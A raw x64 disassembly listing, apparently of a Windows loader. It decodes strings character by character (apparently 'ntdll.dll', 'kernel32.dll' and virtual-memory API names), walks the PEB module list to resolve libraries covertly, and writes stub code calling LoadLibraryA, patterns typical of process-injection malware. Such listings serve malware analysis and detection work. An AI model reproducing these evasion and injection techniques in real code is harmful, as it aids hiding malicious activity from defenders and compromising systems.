xor eax, eax
jmp 0x140024fd3
mov r12d, dword [rdi + 0x14]
sub r12, rcx
add r12, r8
mov r8, qword [rbp + 0xc30]
add r12, r8
je 0x14002f60d
mov edi, dword [r10 + 0x10]
mov ecx, dword [rdx + 0xc]
cmp rdi, rcx
jb 0x14002507e
mov eax, dword [rdx + 8]
add eax, ecx
cmp rdi, rax
jb 0x140025395
add rdx, 0x28
cmp rdx, r9
jb 0x140025068
xor eax, eax
mov qword [rbp - 0x28], rax
mov rdx, r12
lea rcx, [rbp + 0xfe0]
call fcn.140037e90
mov byte [rbp + 0x10], reloc.WS2_32.dll_listen
mov edi, 7
mov r9d, edi
xor r8d, r8d
mov dl, 0x61
lea rcx, [rbp + 0x10]
call fcn.140037620
mov byte [rbp + 0x11], al
mov r9d, edi
lea ebx, [rdi - 6]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x10]
call fcn.140037620
mov byte [rbp + 0x12], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x69
lea rcx, [rbp + 0x10]
call fcn.140037620
mov byte [rbp + 0x13], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x10]
call fcn.140037620
mov byte [rbp + 0x14], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x6d
lea rcx, [rbp + 0x10]
call fcn.140037620
mov byte [rbp + 0x15], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x10]
call fcn.140037620
mov byte [rbp + 0x16], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x10]
call fcn.140037620
mov byte [rbp + 0x17], al
xor eax, eax
mov byte [rbp + 0x18], al
mov edi, eax
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi + 0x11]
lea rcx, [rbp + 0x10]
call fcn.140037620
mov byte [rbp + rdi + 0x11], al
add rdi, rbx
cmp rdi, 7
jb 0x140025140
mov ebx, reloc.WS2_32.dll_recvfrom
xor eax, eax
mov byte [rbp + 0x18], al
lea rax, [rbp + 0xc39]
mov qword [rsp + 0x20], rax
lea r9d, [rbx - 0xa]
xor r8d, r8d
lea rdx, [rbp + 0xfe0]
lea rcx, [rbp + 0xc50]
call fcn.140037ffc
lea rcx, [rbp + 0xc50]
call fcn.140037bec
lea rdx, [rbp + 0x11]
sub rdx, rax
lea r8d, [rbx - 0x10]
movzx edi, byte [rax]
movzx ecx, byte [rax + rdx]
sub edi, ecx
jne 0x1400251bc
add rax, r8
test ecx, ecx
jne 0x1400251aa
lea rcx, [rbp + 0xc50]
call fcn.140037da8
test edi, edi
jne 0x1400253a6
lea eax, [rdi + 0xa]
mov byte [rbp + 0x210], al
lea edi, [rax + 2]
mov r9d, edi
xor r8d, r8d
mov dl, 0x75
lea rcx, [rbp + 0x210]
call fcn.140037804
mov byte [rbp + 0x211], al
mov r9d, edi
lea esi, [rdi - 0xb]
mov r8d, esi
mov dl, 0x63
lea rcx, [rbp + 0x210]
call fcn.140037804
mov byte [rbp + 0x212], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAStartup
lea rcx, [rbp + 0x210]
call fcn.140037804
mov byte [rbp + 0x213], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x210]
call fcn.140037804
mov byte [rbp + 0x214], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x62
lea rcx, [rbp + 0x210]
call fcn.140037804
mov byte [rbp + 0x215], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x61
lea rcx, [rbp + 0x210]
call fcn.140037804
mov byte [rbp + 0x216], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x210]
call fcn.140037804
mov byte [rbp + 0x217], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0x210]
call fcn.140037804
mov byte [rbp + 0x218], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x210]
call fcn.140037804
mov byte [rbp + 0x219], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x64
lea rcx, [rbp + 0x210]
call fcn.140037804
mov byte [rbp + 0x21a], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x6c
lea rcx, [rbp + 0x210]
call fcn.140037804
mov byte [rbp + 0x21b], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x6c
lea rcx, [rbp + 0x210]
call fcn.140037804
mov byte [rbp + 0x21c], al
xor eax, eax
mov byte [rbp + 0x21d], al
mov edi, eax
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x211]
lea rcx, [rbp + 0x210]
call fcn.140037804
mov byte [rbp + rdi + 0x211], al
add rdi, rsi
cmp rdi, 0xc
jb 0x14002532b
mov esi, reloc.WS2_32.dll_sendto
xor edi, edi
mov byte [rbp + 0x21d], dil
lea rdx, [rbp + 0x211]
lea rcx, [rbp + 0xcf0]
call fcn.140037e90
mov rdx, rax
lea rcx, [rbp + 0xfe0]
call fcn.140037e04
lea rcx, [rbp + 0xcf0]
call fcn.140037da8
jmp 0x1400253a8
mov eax, dword [rdx + 0x14]
sub rax, rcx
add rax, rdi
add rax, r8
jmp 0x140025089
xor edi, edi
mov dword [rbp + 0x282f8], 0x28ec8348
mov qword [rbp + 0x282fc], 0xb948
mov dword [rbp + 0x28304], 0xb8480000
and qword [rbp + 0x28308], 0
mov dword [rbp + 0x28310], 0xa348d0ff
and qword [rbp + 0x28314], 0
mov dword [rbp + 0x2831c], 0x28c48348
mov byte [rbp + 0x28320], Ordinal_200
mov dword [rbp + 0x282c0], 0x28ec8348
mov qword [rbp + 0x282c4], 0xba48
mov dword [rbp + 0x282cc], 0xb9480000
and qword [rbp + 0x282d0], 0
mov qword [rbp + 0x282d8], 0xb848
mov dword [rbp + 0x282e0], 0xd0ff0000
mov qword [rbp + 0x282e4], 0xa348
mov dword [rbp + 0x282ec], 0x83480000
mov word [rbp + 0x282f0], 0x28c4
mov byte [rbp + 0x282f2], Ordinal_200
mov qword [rbp + 0xdd8], rdi
mov qword [rbp + 0xfb8], 0x1000
mov byte [rbp + 0x780], reloc.WLDAP32.dll_Ordinal_22
mov r9, r13
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x781], al
mov r9, r13
mov r14d, 1
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x782], al
mov r9, r13
lea r8d, [r14 + 1]
mov dl, 0x41
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x783], al
mov r9, r13
lea r8d, [r14 + 2]
mov dl, 0x6c
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x784], al
mov r9, r13
lea r8d, [r14 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x785], al
mov r9, r13
lea r8d, [r14 + 4]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x786], al
mov r9, r13
lea r8d, [r14 + 5]
mov dl, 0x63
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x787], al
mov r9, r13
lea r8d, [r14 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x788], al
mov r9, r13
lea r8d, [r14 + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x789], al
mov r9, r13
lea r8d, [r14 + 8]
mov dl, 0x65
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x78a], al
mov r9, r13
lea r8d, [r14 + 9]
mov dl, 0x56
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x78b], al
mov r9, r13
lea r8d, [r14 + 0xa]
mov dl, 0x69
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x78c], al
mov r9, r13
lea r8d, [r14 + 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x78d], al
mov r9, r13
lea r8d, [r14 + 0xc]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x78e], al
mov r9, r13
lea r8d, [r14 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x78f], al
mov r9, r13
lea r8d, [r14 + 0xe]
mov dl, 0x61
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x790], al
mov r9, r13
mov r8, r15
mov dl, 0x6c
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x791], al
mov r9, r13
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x792], al
mov r9, r13
lea r8d, [r14 + 0x11]
mov dl, 0x65
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x793], al
mov r9, r13
lea r8d, [r14 + 0x12]
mov dl, 0x6d
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x794], al
mov r9, r13
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x795], al
mov r9, r13
lea r8d, [r14 + 0x14]
mov dl, WSAStartup
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x796], al
mov r9, r13
lea r8d, [r14 + 0x15]
mov dl, 0x79
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + 0x797], al
xor eax, eax
mov byte [rbp + 0x798], al
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x781]
lea rcx, [rbp + 0x780]
call fcn.1400379ec
mov byte [rbp + rdi + 0x781], al
add rdi, r14
cmp rdi, r13
jb 0x1400256e2
xor edi, edi
lea r14d, [rdi + 0x20]
mov byte [rbp + 0x798], dil
mov byte [rbp + 0x90], r14b
lea r13d, [rdi + 9]
mov r9d, r13d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x90]
call fcn.140037108
mov byte [rbp + 0x91], al
mov r9d, r13d
lea r13d, [rdi + 1]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x90]
call fcn.140037108
mov byte [rbp + 0x92], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x90]
call fcn.140037108
mov byte [rbp + 0x93], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x90]
call fcn.140037108
mov byte [rbp + 0x94], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x90]
call fcn.140037108
mov byte [rbp + 0x95], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x90]
call fcn.140037108
mov byte [rbp + 0x96], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x90]
call fcn.140037108
mov byte [rbp + 0x97], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x90]
call fcn.140037108
mov byte [rbp + 0x98], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x90]
call fcn.140037108
mov byte [rbp + 0x99], al
xor eax, eax
mov byte [rbp + 0x9a], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x91]
lea rcx, [rbp + 0x90]
call fcn.140037108
mov byte [rbp + rdi + 0x91], al
add rdi, r13
cmp rdi, 9
jb 0x140025826
mov r13d, reloc.WS2_32.dll_socket
xor r9d, r9d
mov byte [rbp + 0x9a], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002597e
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x78], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x1400258fb
lea ebx, [rax + 1]
mov r10d, ebx
mov r15, qword [rbp - 0x78]
mov ecx, r10d
cmp word [r15 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + rdx*2]
mov byte [rdx + r9], al
add r10d, ebx
add rdx, rbx
cmp rdx, r8
jl 0x1400258cd
mov ebx, reloc.WS2_32.dll_recvfrom
lea r15d, [rbx - 1]
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rbp - 0x78], r10
je 0x140025957
mov rax, rcx
lea r9, [rbp + 0x91]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140025950
add rax, r11
test edx, edx
jne 0x14002593b
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r9d, r9d
test dil, dil
jne 0x140026c4c
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
cmp rax, qword [rsp + 0x78]
jne 0x140025885
mov rax, qword [rbp + 0xdd8]
mov qword [rbp + 0xc28], rax
mov qword [rbp + 0xde0], r9
mov qword [rbp + 0xfc0], 0x1000
mov byte [rbp + 0x7c0], reloc.WLDAP32.dll_Ordinal_22
mov r9, r13
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7c1], al
mov r9, r13
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7c2], al
mov r9, r13
mov r8d, 2
mov dl, 0x41
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7c3], al
mov r9, r13
mov r8d, 3
mov dl, 0x6c
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7c4], al
mov r9, r13
mov r8d, 4
mov dl, 0x6c
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7c5], al
mov r9, r13
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7c6], al
mov r9, r13
mov r8d, 6
mov dl, 0x63
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7c7], al
mov r9, r13
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7c8], al
mov r9, r13
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7c9], al
mov r9, r13
mov r8d, 9
mov dl, 0x65
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7ca], al
mov r9, r13
mov r8d, 0xa
mov dl, 0x56
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7cb], al
mov r9, r13
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7cc], al
mov r9, r13
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7cd], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_listen
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7ce], al
mov r9, r13
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7cf], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x61
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7d0], al
mov r9, r13
mov r8, r15
mov dl, 0x6c
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7d1], al
mov r9, r13
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7d2], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7d3], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x6d
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7d4], al
mov r9, r13
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7d5], al
mov r9, r13
mov r8d, reloc.WS2_32.dll_setsockopt
mov dl, WSAStartup
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7d6], al
mov r9, r13
mov r8d, reloc.WLDAP32.dll_Ordinal_22
mov dl, 0x79
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + 0x7d7], al
xor eax, eax
mov byte [rbp + 0x7d8], al
mov edi, eax
lea ebx, [rax + 1]
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7c1]
lea rcx, [rbp + 0x7c0]
call fcn.1400379ec
mov byte [rbp + rdi + 0x7c1], al
add rdi, rbx
cmp rdi, r13
jb 0x140025c41
mov ebx, reloc.WS2_32.dll_recvfrom
xor edi, edi
mov byte [rbp + 0x7d8], dil
mov byte [rbp + 0x80], r14b
lea esi, [rbx - 8]
mov r9d, esi
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x80]
call fcn.140037108
mov byte [rbp + 0x81], al
mov r9d, esi
lea esi, [rbx - 0x10]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x80]
call fcn.140037108
mov byte [rbp + 0x82], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xf]
mov dl, 0x64
lea rcx, [rbp + 0x80]
call fcn.140037108
mov byte [rbp + 0x83], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xe]
mov dl, 0x6c
lea rcx, [rbp + 0x80]
call fcn.140037108
mov byte [rbp + 0x84], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x80]
call fcn.140037108
mov byte [rbp + 0x85], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x80]
call fcn.140037108
mov byte [rbp + 0x86], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xb]
mov dl, 0x64
lea rcx, [rbp + 0x80]
call fcn.140037108
mov byte [rbp + 0x87], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 0xa]
mov dl, 0x6c
lea rcx, [rbp + 0x80]
call fcn.140037108
mov byte [rbp + 0x88], al
lea r9d, [rbx - 8]
lea r8d, [rbx - 9]
mov dl, 0x6c
lea rcx, [rbp + 0x80]
call fcn.140037108
mov byte [rbp + 0x89], al
xor eax, eax
mov byte [rbp + 0x8a], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x81]
lea rcx, [rbp + 0x80]
call fcn.140037108
mov byte [rbp + rdi + 0x81], al
add rdi, rsi
cmp rdi, 9
jb 0x140025d84
mov esi, reloc.WS2_32.dll_sendto
xor r9d, r9d
mov byte [rbp + 0x8a], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140025edb
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x78], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140025e58
lea r15d, [rax + 1]
mov r10d, r15d
mov r13, qword [rbp - 0x78]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r15d
add rdx, r15
cmp rdx, r8
jl 0x140025e2b
mov r15d, reloc.WS2_32.dll_recv
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rbp - 0x78], r10
je 0x140025eb4
mov rax, rcx
lea r9, [rbp + 0x81]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140025ead
add rax, r11
test edx, edx
jne 0x140025e98
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r9d, r9d
test dil, dil
jne 0x140026eb3
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
cmp rax, qword [rsp + 0x78]
jne 0x140025de2
mov rax, qword [rbp + 0xde0]
mov qword [rbp - 0x50], rax
mov rcx, qword [rbp + 0xc28]
mov qword [rbp + 0x282fe], rcx
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x28308], rax
lea rax, [rcx + 0x500]
mov qword [rbp - 0x78], rax
mov qword [rbp + 0x28314], rax
mov rax, qword [rbp + 0xff0]
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 0xfe0]
call fcn.140037bec
mov qword [rbp - 0x70], rax
mov byte [rbp + 0x618], 0x7c
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x619], al
mov r9, rsi
mov r13d, 1
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x61a], al
mov r9, rsi
lea r8d, [r13 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x61b], al
mov r9, rsi
lea r8d, [r13 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x61c], al
mov r9, rsi
lea r8d, [r13 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x61d], al
mov r9, rsi
lea r8d, [r13 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x61e], al
mov r9, rsi
lea r8d, [r13 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x61f], al
mov r9, rsi
lea r8d, [r13 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x620], al
mov r9, rsi
lea r8d, [r13 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x621], al
mov r9, rsi
lea r8d, [r13 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x622], al
mov r9, rsi
lea r8d, [r13 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x623], al
mov r9, rsi
lea r8d, [r13 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x624], al
mov r9, rsi
lea r8d, [r13 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x625], al
mov r9, rsi
lea r8d, [r13 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x626], al
mov r9, rsi
lea r8d, [r13 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x627], al
mov r9, rsi
lea r8d, [r13 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x628], al
mov r9, rsi
mov r8, r15
mov dl, 0x6d
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x629], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x62a], al
mov r9, rsi
lea r8d, [r13 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x62b], al
mov r9, rsi
lea r8d, [r13 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + 0x62c], al
xor eax, eax
mov byte [rbp + 0x62d], al
mov edi, eax
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x619]
lea rcx, [rbp + 0x618]
call fcn.140037880
mov byte [rbp + rdi + 0x619], al
add rdi, r13
cmp rdi, rsi
jb 0x14002615e
xor edi, edi
mov byte [rbp + 0x62d], dil
mov byte [rbp + 0x60], 0x24
lea ebx, [rdi + 9]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x60]
call fcn.140037108
mov byte [rbp + 0x61], al
mov r9d, ebx
lea ebx, [rdi + 1]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x60]
call fcn.140037108
mov byte [rbp + 0x62], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x60]
call fcn.140037108
mov byte [rbp + 0x63], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x60]
call fcn.140037108
mov byte [rbp + 0x64], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x60]
call fcn.140037108
mov byte [rbp + 0x65], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x60]
call fcn.140037108
mov byte [rbp + 0x66], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x60]
call fcn.140037108
mov byte [rbp + 0x67], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x60]
call fcn.140037108
mov byte [rbp + 0x68], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x60]
call fcn.140037108
mov byte [rbp + 0x69], al
xor eax, eax
mov byte [rbp + 0x6a], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x61]
lea rcx, [rbp + 0x60]
call fcn.140037108
mov byte [rbp + rdi + 0x61], al
add rdi, rbx
cmp rdi, 9
jb 0x140026260
mov ebx, reloc.WS2_32.dll_recvfrom
xor r9d, r9d
mov byte [rbp + 0x6a], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x1400263a9
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x60], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x78], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140026329
lea r14d, [rax + 1]
mov r10d, r14d
mov r13, qword [rsp + 0x78]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
